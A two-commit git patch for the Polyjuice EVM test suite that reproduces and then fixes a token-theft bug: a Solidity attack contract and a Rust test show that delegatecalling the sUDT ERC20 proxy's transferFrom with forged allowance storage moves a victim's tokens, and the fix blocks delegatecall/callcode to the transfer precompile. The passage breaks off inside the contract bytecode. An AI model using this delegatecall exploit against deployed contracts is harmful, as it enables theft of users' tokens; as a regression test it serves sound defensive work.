From 34f8180b64a112643f1722e1c886b6dcc2caae5e Mon Sep 17 00:00:00 2001 From: Linfeng Qian Date: Fri, 20 May 2022 12:57:40 +0800 Subject: [PATCH 1/2] test: reproduce the attack in polyjuice-tests --- .../evm-contracts/AttackSudtERC20Proxy.abi | 1 + .../evm-contracts/AttackSudtERC20Proxy.bin | 1 + .../evm-contracts/AttackSudtERC20Proxy.sol | 44 +++++ polyjuice-tests/src/test_cases/mod.rs | 1 + .../sudt_erc20_proxy_attack_allowance.rs | 187 ++++++++++++++++++ 5 files changed, 234 insertions(+) create mode 100644 polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.abi create mode 100644 polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.bin create mode 100644 polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.sol create mode 100644 polyjuice-tests/src/test_cases/sudt_erc20_proxy_attack_allowance.rs diff --git a/polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.abi b/polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.abi new file mode 100644 index 00000000..ff090b8e --- /dev/null +++ b/polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.abi @@ -0,0 +1 @@ +[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"str","type":"string"},{"indexed":false,"internalType":"bool","name":"result","type":"bool"}],"name":"Log","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"str","type":"string"},{"indexed":false,"internalType":"uint256","name":"result","type":"uint256"}],"name":"Log2","type":"event"},{"inputs":[{"internalType":"address","name":"logicContractAddr","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"attack1","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"b","type":"bytes"}],"name":"bytesToUint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"get_allowances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"}] diff --git a/polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.bin b/polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.bin new file mode 100644 index 00000000..e359a32e --- /dev/null +++ b/polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.bin @@ -0,0 +1 @@ +608060405234801561001057600080fd5b50604051610c9a380380610c9a8339818101604052810190610032919061007a565b80600281905550506100a7565b600080fd5b6000819050919050565b61005781610044565b811461006257600080fd5b50565b6000815190506100748161004e565b92915050565b6000602082840312156100905761008f61003f565b5b600061009e84828501610065565b91505092915050565b610be4806100b66000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c806302d06d0514610051578063095c91ac146100815780637483118f146100b1578063da46098c146100cd575b600080fd5b61006b60048036038101906100669190610528565b6100e9565b604051610078919061058a565b60405180910390f35b61009b60048036038101906100969190610603565b610181565b6040516100a8919061058a565b60405180910390f35b6100cb60048036038101906100c6919061066f565b610207565b005b6100e760048036038101906100e291906106d6565b610349565b005b60008060005b8351811015610177576001816101059190610758565b845161011191906107ae565b600861011d91906107e2565b6002610129919061096f565b84828151811061013c5761013b6109ba565b5b602001015160f81c60f81b60f81c60ff1661015791906107e2565b826101629190610758565b9150808061016f906109e9565b9150506100ef565b5080915050919050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600060608573ffffffffffffffffffffffffffffffffffffffff1685858560405160240161023793929190610a40565b6040516020818303038152906040527f23b872dd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516102c19190610af1565b600060405180830381855af49150503d80600081146102fc576040519150601f19603f3d011682016040523d82523d6000602084013e610301565b606091505b5080925081935050507f52dd9d08c343f72c69027ade2a075f6242dba2eeca3a3c61bfd8d00d32f6bd20826040516103399190610b80565b60405180910390a1505050505050565b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610435826103ec565b810181811067ffffffffffffffff82111715610454576104536103fd565b5b80604052505050565b60006104676103ce565b9050610473828261042c565b919050565b600067ffffffffffffffff821115610493576104926103fd565b5b61049c826103ec565b9050602081019050919050565b82818337600083830152505050565b60006104cb6104c684610478565b61045d565b9050828152602081018484840111156104e7576104e66103e7565b5b6104f28482856104a9565b509392505050565b600082601f83011261050f5761050e6103e2565b5b813561051f8482602086016104b8565b91505092915050565b60006020828403121561053e5761053d6103d8565b5b600082013567ffffffffffffffff81111561055c5761055b6103dd565b5b610568848285016104fa565b91505092915050565b6000819050919050565b61058481610571565b82525050565b600060208201905061059f600083018461057b565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006105d0826105a5565b9050919050565b6105e0816105c5565b81146105eb57600080fd5b50565b6000813590506105fd816105d7565b92915050565b6000806040838503121561061a576106196103d8565b5b6000610628858286016105ee565b9250506020610639858286016105ee565b9150509250929050565b61064c81610571565b811461065757600080fd5b50565b60008135905061066981610643565b92915050565b60008060008060808587031215610689576106886103d8565b5b6000610697878288016105ee565b94505060206106a8878288016105ee565b93505060406106b9878288016105ee565b92505060606106ca8782880161065a565b91505092959194509250565b6000806000606084860312156106ef576106ee6103d8565b5b60006106fd868287016105ee565b935050602061070e868287016105ee565b925050604061071f8682870161065a565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061076382610571565b915061076e83610571565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156107a3576107a2610729565b5b828201905092915050565b60006107b982610571565b91506107c483610571565b9250828210156107d7576107d6610729565b5b828203905092915050565b60006107ed82610571565b91506107f883610571565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561083157610830610729565b5b828202905092915050565b60008160011c9050919050565b6000808291508390505b60018511156108935780860481111561086f5761086e610729565b5b600185161561087e5780820291505b808102905061088c8561083c565b9450610853565b94509492505050565b6000826108ac5760019050610968565b816108ba5760009050610968565b81600181146108d057600281146108da57610909565b6001915050610968565b60ff8411156108ec576108eb610729565b5b8360020a91508482111561090357610902610729565b5b50610968565b5060208310610133831016604e8410600b841016171561093e5782820a90508381111561093957610938610729565b5b610968565b61094b8484846001610849565b9250905081840481111561096257610961610729565b5b81810290505b9392505050565b600061097a82610571565b915061098583610571565b92506109b27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461089c565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006109f482610571565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610a2657610a25610729565b5b600182019050919050565b610a3a816105c5565b82525050565b6000606082019050610a556000830186610a31565b610a626020830185610a31565b610a6f604083018461057b565b949350505050565b600081519050919050565b600081905092915050565b60005b83811015610aab578082015181840152602081019050610a90565b83811115610aba576000848401525b50505050565b6000610acb82610a77565b610ad58185610a82565b9350610ae5818560208601610a8d565b80840191505092915050565b6000610afd8284610ac0565b915081905092915050565b600082825260208201905092915050565b7f64656c656761746563616c6c2072657475726e20000000000000000000000000600082015250565b6000610b4f601483610b08565b9150610b5a82610b19565b602082019050919050565b60008115159050919050565b610b7a81610b65565b82525050565b60006040820190508181036000830152610b9981610b42565b9050610ba86020830184610b71565b9291505056fea2646970667358221220c98224737cb5992048eab36c11004d2c3bec403d6fadddb2fba6456e1c66ac2464736f6c634300080e0033 \ No newline at end of file diff --git a/polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.sol b/polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.sol new file mode 100644 index 00000000..2d6ff473 --- /dev/null +++ b/polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.sol @@ -0,0 +1,44 @@ +pragma solidity ^0.8.0; + + +contract AttackContract { + mapping (address => mapping (address => uint256)) private _allowances; + + uint256 private _totalSupply; + uint256 private _sudtId; + + string private _name; + string private _symbol; + uint8 private _decimals; + + event Log(string str, bool result); + event Log2(string str, uint256 result); + + constructor(uint256 sudtId_) public { + _sudtId = sudtId_; + } + function attack1(address logicContractAddr,address from,address to ,uint256 amount) public { + bool r; + bytes memory s; + (r, s) = logicContractAddr.delegatecall(abi.encodeWithSignature("transferFrom(address,address,uint256)", from,to,amount)); + emit Log("delegatecall return ", r); // r为true或false + /* uint256 result = bytesToUint(s); */ + /* emit Log2("return ", result); */ + } + + function setAllowance(address owner,address spender, uint256 amount) public { + _allowances[owner][spender] = amount; + } + + function get_allowances(address from,address to) public view returns( uint256){ + return _allowances[from][to]; + } + + function bytesToUint(bytes memory b) public pure returns (uint256){ + uint256 number; + for(uint i= 0; i setAllowance(from_id, target_id, 3e8) + let block_info = new_block_info(block_producer_id, block_number, block_number); + let input = hex::decode(format!( + "da46098c{}{}{}", + hex::encode(account_id_to_eth_address(&state, from_id, true)), + hex::encode(account_id_to_eth_address(&state, target_id, true)), + "00000000000000000000000000000000000000000000000000000000000003e8", + )) + .unwrap(); + let args = PolyjuiceArgsBuilder::default() + .gas_limit(40000) + .gas_price(1) + .value(0) + .input(&input) + .build(); + let raw_tx = RawL2Transaction::new_builder() + .from_id(from_id.pack()) + .to_id(attack_account_id.pack()) + .args(Bytes::from(args).pack()) + .build(); + let db = store.begin_transaction(); + let tip_block_hash = store.get_tip_block_hash().unwrap(); + let run_result = generator + .execute_transaction( + &ChainView::new(&db, tip_block_hash), + &state, + &block_info, + &raw_tx, + L2TX_MAX_CYCLES, + None, + ) + .expect("construct"); + state.apply_run_result(&run_result).expect("update state"); + } + + let target_balance = state + .get_sudt_balance(CKB_SUDT_ACCOUNT_ID, target_short_address) + .unwrap(); + assert_eq!(target_balance, 0); + + { + // AttackSudtERC20Proxy.sol => attack1(from_id, target_id, 100000) + let block_info = new_block_info(block_producer_id, block_number, block_number); + let input = hex::decode(format!( + "7483118f{}{}{}{}", + hex::encode(account_id_to_eth_address(&state, proxy_account_id, true)), + hex::encode(account_id_to_eth_address(&state, from_id, true)), + hex::encode(account_id_to_eth_address(&state, target_id, true)), + "00000000000000000000000000000000000000000000000000000000000003e8", + )) + .unwrap(); + let args = PolyjuiceArgsBuilder::default() + .gas_limit(40000) + .gas_price(1) + .value(0) + .input(&input) + .build(); + let raw_tx = RawL2Transaction::new_builder() + .from_id(from_id.pack()) + .to_id(attack_account_id.pack()) + .args(Bytes::from(args).pack()) + .build(); + let db = store.begin_transaction(); + let tip_block_hash = store.get_tip_block_hash().unwrap(); + let run_result = generator + .execute_transaction( + &ChainView::new(&db, tip_block_hash), + &state, + &block_info, + &raw_tx, + L2TX_MAX_CYCLES, + None, + ) + .expect("construct"); + state.apply_run_result(&run_result).expect("update state"); + } + + let target_balance = state + .get_sudt_balance(CKB_SUDT_ACCOUNT_ID, target_short_address) + .unwrap(); + assert_eq!(target_balance, 1000); +} From 8b33be357ead08e573bd0ac315664e255ebe0a9b Mon Sep 17 00:00:00 2001 From: Linfeng Qian Date: Fri, 20 May 2022 13:56:02 +0800 Subject: [PATCH 2/2] fix: fix sudt erc20 proxy delegate call bug --- c/contracts.h | 10 ++++++++++ c/other_contracts.h | 2 ++ c/polyjuice.h | 7 ++++++- c/sudt_contracts.h | 6 ++++++ c/tests/test_contracts.c | 2 +- .../test_cases/evm-contracts/AttackSudtERC20Proxy.bin | 2 +- .../test_cases/evm-contracts/AttackSudtERC20Proxy.sol | 3 ++- .../test_cases/sudt_erc20_proxy_attack_allowance.rs | 8 +++++++- 8 files changed, 35 insertions(+), 5 deletions(-) diff --git a/c/contracts.h b/c/contracts.h index 92423c68..3ca5e4a4 100644 --- a/c/contracts.h +++ b/c/contracts.h @@ -43,6 +43,7 @@ typedef int (*precompiled_contract_gas_fn)(const uint8_t* input_src, typedef int (*precompiled_contract_fn)(gw_context_t* ctx, const uint8_t* code_data, const size_t code_size, + const enum evmc_call_kind parent_kind, bool is_static_call, const uint8_t* input_src, const size_t input_size, @@ -72,6 +73,7 @@ int ecrecover_required_gas(const uint8_t* input, const size_t input_size, int ecrecover(gw_context_t* ctx, const uint8_t* code_data, const size_t code_size, + const enum evmc_call_kind parent_kind, bool is_static_call, const uint8_t* input_src, const size_t input_size, uint8_t** output, size_t* output_size) { @@ -151,6 +153,7 @@ int sha256hash_required_gas(const uint8_t* input, const size_t input_size, int sha256hash(gw_context_t* ctx, const uint8_t* code_data, const size_t code_size, + const enum evmc_call_kind parent_kind, bool is_static_call, const uint8_t* input_src, const size_t input_size, uint8_t** output, size_t* output_size) { @@ -176,6 +179,7 @@ int ripemd160hash_required_gas(const uint8_t* input, const size_t input_size, int ripemd160hash(gw_context_t* ctx, const uint8_t* code_data, const size_t code_size, + const enum evmc_call_kind parent_kind, bool is_static_call, const uint8_t* input_src, const size_t input_size, uint8_t** output, @@ -204,6 +208,7 @@ int data_copy_required_gas(const uint8_t* input, const size_t input_size, int data_copy(gw_context_t* ctx, const uint8_t* code_data, const size_t code_size, + const enum evmc_call_kind parent_kind, bool is_static_call, const uint8_t* input_src, const size_t input_size, uint8_t** output, size_t* output_size) { @@ -404,6 +409,7 @@ int big_mod_exp_required_gas(const uint8_t* input, const size_t input_size, int big_mod_exp(gw_context_t* ctx, const uint8_t* code_data, const size_t code_size, + const enum evmc_call_kind parent_kind, bool is_static_call, const uint8_t* input_src, const size_t input_size, uint8_t** output, @@ -699,6 +705,7 @@ void f_generic(uint64_t h[8], uint64_t m[16], uint64_t c0, uint64_t c1, int blake2f(gw_context_t* ctx, const uint8_t* code_data, const size_t code_size, + const enum evmc_call_kind parent_kind, bool is_static_call, const uint8_t* input_src, const size_t input_size, uint8_t** output, size_t* output_size) { @@ -777,6 +784,7 @@ int bn256_add_istanbul_gas(const uint8_t* input_src, int bn256_add_istanbul(gw_context_t* ctx, const uint8_t* code_data, const size_t code_size, + const enum evmc_call_kind parent_kind, bool is_static_call, const uint8_t* input_src, const size_t input_size, @@ -825,6 +833,7 @@ int bn256_scalar_mul_istanbul_gas(const uint8_t* input_src, int bn256_scalar_mul_istanbul(gw_context_t* ctx, const uint8_t* code_data, const size_t code_size, + const enum evmc_call_kind parent_kind, bool is_static_call, const uint8_t* input_src, const size_t input_size, @@ -866,6 +875,7 @@ int bn256_pairing_istanbul_gas(const uint8_t* input_src, int bn256_pairing_istanbul(gw_context_t* ctx, const uint8_t* code_data, const size_t code_size, + const enum evmc_call_kind parent_kind, bool is_static_call, const uint8_t* input_src, const size_t input_size, diff --git a/c/other_contracts.h b/c/other_contracts.h index 08b70572..6a527ada 100644 --- a/c/other_contracts.h +++ b/c/other_contracts.h @@ -33,6 +33,7 @@ int recover_account_gas(const uint8_t* input_src, int recover_account(gw_context_t* ctx, const uint8_t* code_data, const size_t code_size, + const enum evmc_call_kind parent_kind, bool is_static_call, const uint8_t* input_src, const size_t input_size, @@ -96,6 +97,7 @@ int eth_to_godwoken_addr_gas(const uint8_t* input_src, int eth_to_godwoken_addr(gw_context_t* ctx, const uint8_t* code_data, const size_t code_size, + const enum evmc_call_kind parent_kind, bool is_static_call, const uint8_t* input_src, const size_t input_size, diff --git a/c/polyjuice.h b/c/polyjuice.h index f7d57c35..d1bd172f 100644 --- a/c/polyjuice.h +++ b/c/polyjuice.h @@ -106,9 +106,13 @@ struct evmc_host_context { gw_context_t* gw_ctx; const uint8_t* code_data; const size_t code_size; + // parent level call kind + enum evmc_call_kind kind; uint32_t from_id; uint32_t to_id; + // parent level sender evmc_address sender; + // parent level destination evmc_address destination; int error_code; }; @@ -599,6 +603,7 @@ struct evmc_result call(struct evmc_host_context* context, res.gas_left = msg->gas - (int64_t)gas_cost; ret = contract(gw_ctx, context->code_data, context->code_size, + context->kind, msg->flags == EVMC_STATIC, msg->input_data, msg->input_size, (uint8_t**)&res.output_data, &res.output_size); @@ -910,7 +915,7 @@ int execute_in_evmone(gw_context_t* ctx, int ret = 0; evmc_address sender = msg->sender; evmc_address destination = msg->destination; - struct evmc_host_context context {ctx, code_data, code_size, from_id, to_id, sender, destination, 0}; + struct evmc_host_context context {ctx, code_data, code_size, msg->kind, from_id, to_id, sender, destination, 0}; struct evmc_vm* vm = evmc_create_evmone(); struct evmc_host_interface interface = {account_exists, get_storage, set_storage, get_balance, get_code_size, get_code_hash, copy_code, selfdestruct, diff --git a/c/sudt_contracts.h b/c/sudt_contracts.h index 0a8e5215..afcdd95f 100644 --- a/c/sudt_contracts.h +++ b/c/sudt_contracts.h @@ -31,6 +31,7 @@ int balance_of_any_sudt_gas(const uint8_t* input_src, int balance_of_any_sudt(gw_context_t* ctx, const uint8_t* code_data, const size_t code_size, + const enum evmc_call_kind parent_kind, bool is_static_call, const uint8_t* input_src, const size_t input_size, @@ -104,6 +105,7 @@ int transfer_to_any_sudt_gas(const uint8_t* input_src, int transfer_to_any_sudt(gw_context_t* ctx, const uint8_t* code_data, const size_t code_size, + const enum evmc_call_kind parent_kind, bool is_static_call, const uint8_t* input_src, const size_t input_size, @@ -146,6 +148,10 @@ int transfer_to_any_sudt(gw_context_t* ctx, ckb_debug("static call to transfer to any sudt is forbidden"); return ERROR_TRANSFER_TO_ANY_SUDT; } + if (parent_kind == EVMC_CALLCODE || parent_kind == EVMC_DELEGATECALL) { + ckb_debug("delegatecall/callcode to transfer to any sudt is forbidden"); + return ERROR_TRANSFER_TO_ANY_SUDT; + } if (input_size != (32 + 32 + 32 + 32)) { return ERROR_TRANSFER_TO_ANY_SUDT; } diff --git a/c/tests/test_contracts.c b/c/tests/test_contracts.c index 343286f5..5a963267 100644 --- a/c/tests/test_contracts.c +++ b/c/tests/test_contracts.c @@ -68,7 +68,7 @@ int test_contract(const uint8_t n, ctx.sys_load_data = sys_load_data; ctx.sys_load = sys_load; ctx._internal_load_raw = _internal_load_raw; - ret = contract(&ctx, NULL, 0, true, input_src, input_size, &output, &output_size); + ret = contract(&ctx, NULL, 0, EVMC_CALL, true, input_src, input_size, &output, &output_size); if (ret != 0) { debug_print_int("run contract failed", ret); goto test_contract_cleanup; diff --git a/polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.bin b/polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.bin index e359a32e..fee3cf05 100644 --- a/polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.bin +++ b/polyjuice-tests/src/test_cases/evm-contracts/AttackSudtERC20Proxy.bin @@ -1 +1 @@ -608060405234801561001057600080fd5b50604051610c9a380380610c9a8339818101604052810190610032919061007a565b80600281905550506100a7565b600080fd5b6000819050919050565b61005781610044565b811461006257600080fd5b50565b6000815190506100748161004e565b92915050565b6000602082840312156100905761008f61003f565b5b600061009e84828501610065565b91505092915050565b610be4806100b66000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c806302d06d0514610051578063095c91ac146100815780637483118f146100b1578063da46098c146100cd575b600080fd5b61006b60048036038101906100669190610528565b6100e9565b604051610078919061058a565b60405180910390f35b61009b60048036038101906100969190610603565b610181565b6040516100a8919061058a565b60405180910390f35b6100cb60048036038101906100c6919061066f565b610207565b005b6100e760048036038101906100e291906106d6565b610349565b005b60008060005b8351811015610177576001816101059190610758565b845161011191906107ae565b600861011d91906107e2565b6002610129919061096f565b84828151811061013c5761013b6109ba565b5b602001015160f81c60f81b60f81c60ff1661015791906107e2565b826101629190610758565b9150808061016f906109e9565b9150506100ef565b5080915050919050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600060608573ffffffffffffffffffffffffffffffffffffffff1685858560405160240161023793929190610a40565b6040516020818303038152906040527f23b872dd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516102c19190610af1565b600060405180830381855af49150503d80600081146102fc576040519150601f19603f3d011682016040523d82523d6000602084013e610301565b606091505b5080925081935050507f52dd9d08c343f72c69027ade2a075f6242dba2eeca3a3c61bfd8d00d32f6bd20826040516103399190610b80565b60405180910390a1505050505050565b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610435826103ec565b810181811067ffffffffffffffff82111715610454576104536103fd565b5b80604052505050565b60006104676103ce565b9050610473828261042c565b919050565b600067ffffffffffffffff821115610493576104926103fd565b5b61049c826103ec565b9050602081019050919050565b82818337600083830152505050565b60006104cb6104c684610478565b61045d565b9050828152602081018484840111156104e7576104e66103e7565b5b6104f28482856104a9565b509392505050565b600082601f83011261050f5761050e6103e2565b5b813561051f8482602086016104b8565b91505092915050565b60006020828403121561053e5761053d6103d8565b5b600082013567ffffffffffffffff81111561055c5761055b6103dd565b5b610568848285016104fa565b91505092915050565b6000819050919050565b61058481610571565b82525050565b600060208201905061059f600083018461057b565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006105d0826105a5565b9050919050565b6105e0816105c5565b81146105eb57600080fd5b50565b6000813590506105fd816105d7565b92915050565b6000806040838503121561061a576106196103d8565b5b6000610628858286016105ee565b9250506020610639858286016105ee565b9150509250929050565b61064c81610571565b811461065757600080fd5b50565b60008135905061066981610643565b92915050565b60008060008060808587031215610689576106886103d8565b5b6000610697878288016105ee565b94505060206106a8878288016105ee565b93505060406106b9878288016105ee565b92505060606106ca8782880161065a565b91505092959194509250565b6000806000606084860312156106ef576106ee6103d8565b5b60006106fd868287016105ee565b935050602061070e868287016105ee565b925050604061071f8682870161065a565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061076382610571565b915061076e83610571565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156107a3576107a2610729565b5b828201905092915050565b60006107b982610571565b91506107c483610571565b9250828210156107d7576107d6610729565b5b828203905092915050565b60006107ed82610571565b91506107f883610571565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561083157610830610729565b5b828202905092915050565b60008160011c9050919050565b6000808291508390505b60018511156108935780860481111561086f5761086e610729565b5b600185161561087e5780820291505b808102905061088c8561083c565b9450610853565b94509492505050565b6000826108ac5760019050610968565b816108ba5760009050610968565b81600181146108d057600281146108da57610909565b6001915050610968565b60ff8411156108ec576108eb610729565b5b8360020a91508482111561090357610902610729565b5b50610968565b5060208310610133831016604e8410600b841016171561093e5782820a90508381111561093957610938610729565b5b610968565b61094b8484846001610849565b9250905081840481111561096257610961610729565b5b81810290505b9392505050565b600061097a82610571565b915061098583610571565b92506109b27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461089c565b905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006109f482610571565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610a2657610a25610729565b5b600182019050919050565b610a3a816105c5565b82525050565b6000606082019050610a556000830186610a31565b610a626020830185610a31565b610a6f604083018461057b565b949350505050565b600081519050919050565b600081905092915050565b60005b83811015610aab578082015181840152602081019050610a90565b83811115610aba576000848401525b50505050565b6000610acb82610a77565b610ad58185610a82565b9350610ae5818560208601610a8d565b80840191505092915050565b6000610afd8284610ac0565b915081905092915050565b600082825260208201905092915050565b7f64656c656761746563616c6c2072657475726e20000000000000000000000000600082015250565b6000610b4f601483610b08565b9150610b5a82610b19565b602082019050919050565b60008115159050919050565b610b7a81610b65565b82525050565b60006040820190508181036000830152610b9981610b42565b9050610ba86020830184610b71565b9291505056fea2646970667358221220c98224737cb5992048eab36c11004d2c3bec403d6fadddb2fba6456e1c66ac2464736f6c634300080e0033 \ No newline at end of file +608060405234801561001057600080fd5b50604051610ccf380380610ccf8339818101604052810190610032919061007a565b80600281905550506100a7565b600080fd5b6000819050919050565b61005781610044565b811461006257600080fd5b50565b6000815190506100748161004e565b92915050565b6000602082840312156100905761008f61003f565b5b600061009e84828501610065565b91505092915050565b610c19806100b66000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c806302d06d0514610051578063095c91ac146100815780637483118f146100b1578063da46098c146100e1575b600080fd5b61006b60048036038101906100669190610542565b6100fd565b60405161007891906105a4565b60405180910390f35b61009b6004803603810190610096919061061d565b610195565b6040516100a891906105a4565b60405180910390f35b6100cb60048036038101906100c69190610689565b61021b565b6040516100d8919061070b565b60405180910390f35b6100fb60048036038101906100f69190610726565b610363565b005b60008060005b835181101561018b5760018161011991906107a8565b845161012591906107fe565b60086101319190610832565b600261013d91906109bf565b8482815181106101505761014f610a0a565b5b602001015160f81c60f81b60f81c60ff1661016b9190610832565b8261017691906107a8565b9150808061018390610a39565b915050610103565b5080915050919050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008060608673ffffffffffffffffffffffffffffffffffffffff1686868660405160240161024c93929190610a90565b6040516020818303038152906040527f23b872dd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516102d69190610b41565b600060405180830381855af49150503d8060008114610311576040519150601f19603f3d011682016040523d82523d6000602084013e610316565b606091505b5080925081935050507f52dd9d08c343f72c69027ade2a075f6242dba2eeca3a3c61bfd8d00d32f6bd208260405161034e9190610bb5565b60405180910390a18192505050949350505050565b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61044f82610406565b810181811067ffffffffffffffff8211171561046e5761046d610417565b5b80604052505050565b60006104816103e8565b905061048d8282610446565b919050565b600067ffffffffffffffff8211156104ad576104ac610417565b5b6104b682610406565b9050602081019050919050565b82818337600083830152505050565b60006104e56104e084610492565b610477565b90508281526020810184848401111561050157610500610401565b5b61050c8482856104c3565b509392505050565b600082601f830112610529576105286103fc565b5b81356105398482602086016104d2565b91505092915050565b600060208284031215610558576105576103f2565b5b600082013567ffffffffffffffff811115610576576105756103f7565b5b61058284828501610514565b91505092915050565b6000819050919050565b61059e8161058b565b82525050565b60006020820190506105b96000830184610595565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006105ea826105bf565b9050919050565b6105fa816105df565b811461060557600080fd5b50565b600081359050610617816105f1565b92915050565b60008060408385031215610634576106336103f2565b5b600061064285828601610608565b925050602061065385828601610608565b9150509250929050565b6106668161058b565b811461067157600080fd5b50565b6000813590506106838161065d565b92915050565b600080600080608085870312156106a3576106a26103f2565b5b60006106b187828801610608565b94505060206106c287828801610608565b93505060406106d387828801610608565b92505060606106e487828801610674565b91505092959194509250565b60008115159050919050565b610705816106f0565b82525050565b600060208201905061072060008301846106fc565b92915050565b60008060006060848603121561073f5761073e6103f2565b5b600061074d86828701610608565b935050602061075e86828701610608565b925050604061076f86828701610674565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006107b38261058b565b91506107be8361058b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156107f3576107f2610779565b5b828201905092915050565b60006108098261058b565b91506108148361058b565b92508282101561082757610826610779565b5b828203905092915050565b600061083d8261058b565b91506108488361058b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561088157610880610779565b5b828202905092915050565b60008160011c9050919050565b6000808291508390505b60018511156108e3578086048111156108bf576108be610779565b5b60018516156108ce5780820291505b80810290506108dc8561088c565b94506108a3565b94509492505050565b6000826108fc57600190506109b8565b8161090a57600090506109b8565b8160018114610920576002811461092a57610959565b60019150506109b8565b60ff84111561093c5761093b610779565b5b8360020a91508482111561095357610952610779565b5b506109b8565b5060208310610133831016604e8410600b841016171561098e5782820a90508381111561098957610988610779565b5b6109b8565b61099b8484846001610899565b925090508184048111156109b2576109b1610779565b5b81810290505b9392505